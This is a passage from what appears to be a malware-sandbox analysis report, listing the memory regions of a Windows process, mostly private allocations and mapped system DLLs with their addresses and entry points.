"" Region: id = 1478 start_va = 0x5c60000 end_va = 0x5cdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c60000" filename = "" Region: id = 1479 start_va = 0x5cf0000 end_va = 0x5d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005cf0000" filename = "" Region: id = 1480 start_va = 0x5de0000 end_va = 0x5e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005de0000" filename = "" Region: id = 1481 start_va = 0x5e80000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e80000" filename = "" Region: id = 1482 start_va = 0x5f80000 end_va = 0x5ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f80000" filename = "" Region: id = 1483 start_va = 0x60b0000 end_va = 0x612ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060b0000" filename = "" Region: id = 1484 start_va = 0x6170000 end_va = 0x61effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006170000" filename = "" Region: id = 1485 start_va = 0x6280000 end_va = 0x62fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006280000" filename = "" Region: id = 1486 start_va = 0x6300000 end_va = 0x66fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006300000" filename = "" Region: id = 1487 start_va = 0x68c0000 end_va = 0x693ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000068c0000" filename = "" Region: id = 1488 start_va = 0x69d0000 end_va = 0x6a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000069d0000" filename = "" Region: id = 1489 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1490 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1491 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1492 start_va = 0x76ee0000 end_va = 0x76ee6fff monitored = 0 entry_point = 0x76ee106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1493 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1494 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1495 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1496 start_va = 0xffa90000 end_va = 0xffa9afff monitored = 0 entry_point = 0xffa9246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1497 start_va = 0x7fef2220000 end_va = 0x7fef2472fff monitored = 0 entry_point = 0x7fef222236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1498 start_va = 0x7fef2480000 end_va = 0x7fef249afff monitored = 0 entry_point = 0x7fef2481198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1499 start_va = 0x7fef30f0000 end_va = 0x7fef32c3fff monitored = 0 entry_point = 0x7fef3126b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1500 start_va = 0x7fef4160000 end_va = 0x7fef416efff monitored = 0 entry_point = 0x7fef4169a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1501 start_va = 0x7fef41a0000 end_va = 0x7fef41e4fff monitored = 0 entry_point = 0x7fef41d3644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1502 start_va = 0x7fef41f0000 end_va = 0x7fef4201fff monitored = 0 entry_point = 0x7fef41f90bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1503 start_va = 0x7fef4240000 end_va = 0x7fef44b9fff monitored = 0 entry_point = 0x7fef4272200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1504 start_va = 0x7fef4710000 end_va = 0x7fef472bfff monitored = 0 entry_point = 0x7fef47111a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1505 start_va = 0x7fef4730000 end_va = 0x7fef4791fff monitored = 0 entry_point = 0x7fef4731198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1506 start_va = 0x7fef47a0000 end_va = 0x7fef47d9fff monitored = 0 entry_point = 0x7fef47a1010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1507 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4eaecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1508 start_va = 0x7fef4fa0000 end_va = 0x7fef4fb3fff monitored = 0 entry_point = 0x7fef4fac210 region_type = mapped_file name = "vss_ps.dll" filename = "\\Windows\\System32\\vss_ps.dll" (normalized: "c:\\windows\\system32\\vss_ps.dll") Region: id = 1509 start_va = 0x7fef4fc0000 end_va = 0x7fef5091fff monitored = 0 entry_point = 0x7fef5051a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1510 start_va = 0x7fef5e70000 end_va = 0x7fef5e79fff monitored = 0 entry_point = 0x7fef5e73994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1511 start_va = 0x7fef6830000 end_va = 0x7fef691dfff monitored = 0 entry_point = 0x7fef68312a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1512 start_va = 0x7fef69c0000 end_va = 0x7fef69dcfff monitored = 0 entry_point = 0x7fef69c2f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1513 start_va = 0x7fef6bf0000 end_va = 0x7fef6c31fff monitored = 0 entry_point = 0x7fef6c20048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1514 start_va = 0x7fef6c40000 end_va = 0x7fef6c59fff monitored = 0 entry_point = 0x7fef6c51ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1515 start_va = 0x7fef6c80000 end_va = 0x7fef6c8efff monitored = 0 entry_point = 0x7fef6c86894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1516 start_va = 0x7fef8790000 end_va = 0x7fef879bfff monitored = 0 entry_point = 0x7fef879602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1517 start_va = 0x7fef87e0000 end_va = 0x7fef885bfff monitored = 0 entry_point = 0x7fef87e11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1518 start_va = 0x7fef8b90000 end_va = 0x7fef8b97fff monitored = 0 entry_point = 0x7fef8b91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1519 start_va = 0x7fef8ca0000 end_va = 0x7fef8d10fff monitored = 0 entry_point = 0x7fef8ce51d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1520 start_va = 0x7fef8d20000 end_va = 0x7fef8d31fff monitored = 0 entry_point = 0x7fef8d289d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1521 start_va = 0x7fef8d40000 end_va = 0x7fef8df4fff monitored = 0 entry_point = 0x7fef8dbcf80 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1522 start_va = 0x7fef8e00000 end_va = 0x7fef8e18fff monitored = 0 entry_point = 0x7fef8e01104 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1523 start_va = 0x7fef8e20000 end_va = 0x7fef8e6ffff monitored = 0 entry_point = 0x7fef8e21190 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1524 start_va = 0x7fef8e70000 end_va = 0x7fef8e77fff monitored = 0 entry_point = 0x7fef8e71020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1525 start_va = 0x7fef8e80000 end_va = 0x7fef8ed9fff monitored = 0 entry_point = 0x7fef8ebdde0 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1526 start_va = 0x7fef8ee0000 end_va = 0x7fef8f00fff monitored = 0 entry_point = 0x7fef8ef03b0 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1527 start_va = 0x7fef8f10000 end_va = 0x7fef8f83fff monitored = 0 entry_point = 0x7fef8f166f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1528 start_va = 0x7fef8f90000 end_va = 0x7fef8ffafff monitored = 0 entry_point = 0x7fef8fd4344 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1529 start_va = 0x7fef9000000 end_va = 0x7fef9012fff monitored = 0 entry_point = 0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1530 start_va = 0x7fef9020000 end_va = 0x7fef9081fff monitored = 0 entry_point = 0x7fef905bd80 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1531 start_va = 0x7fef9090000 end_va = 0x7fef91bbfff monitored = 0 entry_point = 0x7fef9140ef0 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1532 start_va = 0x7fef91c0000 end_va = 0x7fef91d9fff monitored = 0 entry_point = 0x7fef91d3fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1533 start_va = 0x7fef91e0000 end_va = 0x7fef9263fff monitored = 0 entry_point = 0x7fef9231118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1534 start_va = 0x7fef9270000 end_va = 0x7fef9294fff monitored = 0 entry_point = 0x7fef9288c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1535 start_va = 0x7fef92a0000 end_va = 0x7fef92dcfff monitored = 0 entry_point = 0x7fef92a1070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1536 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1537 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1538 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1539 start_va = 0x7fef9440000 end_va = 0x7fef9486fff monitored = 0 entry_point = 0x7fef9441040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1540 start_va = 0x7fef9490000 end_va = 0x7fef94d1fff monitored = 0 entry_point = 0x7fef94917e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1541 start_va = 0x7fef94e0000 end_va = 0x7fef9571fff monitored = 0 entry_point = 0x7fef95551ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1542 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 0 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1543 start_va = 0x7fef9600000 end_va = 0x7fef9639fff monitored = 0 entry_point = 0x7fef961d020 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1544 start_va = 0x7fef9910000 end_va = 0x7fef9920fff monitored = 0 entry_point = 0x7fef9919e7c region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1545 start_va = 0x7fef9930000 end_va = 0x7fef9993fff monitored = 0 entry_point = 0x7fef9931254 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 1546 start_va = 0x7fef99a0000 end_va = 0x7fef9a10fff monitored = 0 entry_point = 0x7fef99a1010 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1547 start_va = 0x7fef9ab0000 end_va = 0x7fef9ac6fff monitored = 0 entry_point = 0x7fef9ab1060 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1548 start_va = 0x7fef9ad0000 end_va = 0x7fef9c7ffff monitored = 0 entry_point = 0x7fef9ad1010 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1549 start_va = 0x7fef9f40000 end_va = 0x7fef9f48fff monitored = 0 entry_point = 0x7fef9f411a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1550 start_va = 0x7fefa170000 end_va = 0x7fefa1e6fff monitored = 0 entry_point = 0x7fefa17afd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1551 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1552 start_va = 0x7fefa2a0000 end_va = 0x7fefa3b1fff monitored = 0 entry_point = 0x7fefa2bf354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1553 start_va = 0x7fefa3c0000 end_va = 0x7fefa3cefff monitored = 0 entry_point = 0x7fefa3c7e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1554 start_va = 0x7fefa3d0000 end_va = 0x7fefa3d8fff monitored = 0 entry_point = 0x7fefa3d3668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1555 start_va = 0x7fefa3e0000 end_va = 0x7fefa3e8fff monitored = 0 entry_point = 0x7fefa3e1020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1556 start_va = 0x7fefa3f0000 end_va = 0x7fefa445fff monitored = 0 entry_point = 0x7fefa3f1040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1557 start_va = 0x7fefa450000 end_va = 0x7fefa4adfff monitored = 0 entry_point = 0x7fefa459024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1558 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1559 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1560 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1561 start_va = 0x7fefa580000 end_va = 0x7fefa594fff monitored = 0 entry_point = 0x7fefa581020 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1562 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1563 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1564 start_va = 0x7fefa770000 end_va = 0x7fefa783fff monitored = 0 entry_point = 0x7fefa773e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1565 start_va = 0x7fefa7a0000 end_va = 0x7fefa806fff monitored = 0 entry_point = 0x7fefa7b6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1566 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1567 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1568 start_va = 0x7fefa830000 end_va = 0x7fefa83ffff monitored = 0 entry_point = 0x7fefa83835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1569 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1570 start_va = 0x7fefa860000 end_va = 0x7fefa896fff monitored = 0 entry_point = 0x7fefa868424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1571 start_va = 0x7fefa8e0000 end_va = 0x7fefa8f4fff monitored = 0 entry_point = 0x7fefa8e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1572 start_va = 0x7fefa900000 end_va = 0x7fefa9c1fff monitored = 0 entry_point = 0x7fefa90101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1573 start_va = 0x7fefac00000 end_va = 0x7fefac08fff monitored = 0 entry_point = 0x7fefac01010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1574 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1575 start_va = 0x7fefad20000 end_va = 0x7fefad30fff monitored = 0 entry_point = 0x7fefad214c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1576 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1577 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1578 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1579 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1580 start_va = 0x7fefaef0000 end_va = 0x7fefaf06fff monitored = 0 entry_point = 0x7fefaef9d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1581 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1582 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1583 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1584 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1585 start_va = 0x7fefb750000 end_va = 0x7fefb76cfff monitored = 0 entry_point = 0x7fefb751ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1586 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1587 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1588 start_va = 0x7fefbe40000 end_va = 0x7fefbefafff monitored = 0 entry_point = 0x7fefbe46de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1589 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1590 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1591 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1592 start_va = 0x7fefc030000 end_va = 0x7fefc041fff monitored = 0 entry_point = 0x7fefc031060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1593 start_va = 0x7fefc050000 end_va = 0x7fefc06efff monitored = 0 entry_point = 0x7fefc055c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1594 start_va = 0x7fefc120000 end_va = 0x7fefc158fff monitored = 0 entry_point = 0x7fefc12c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1595 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1596 start_va = 0x7fefc170000 end_va = 0x7fefc17cfff monitored = 0 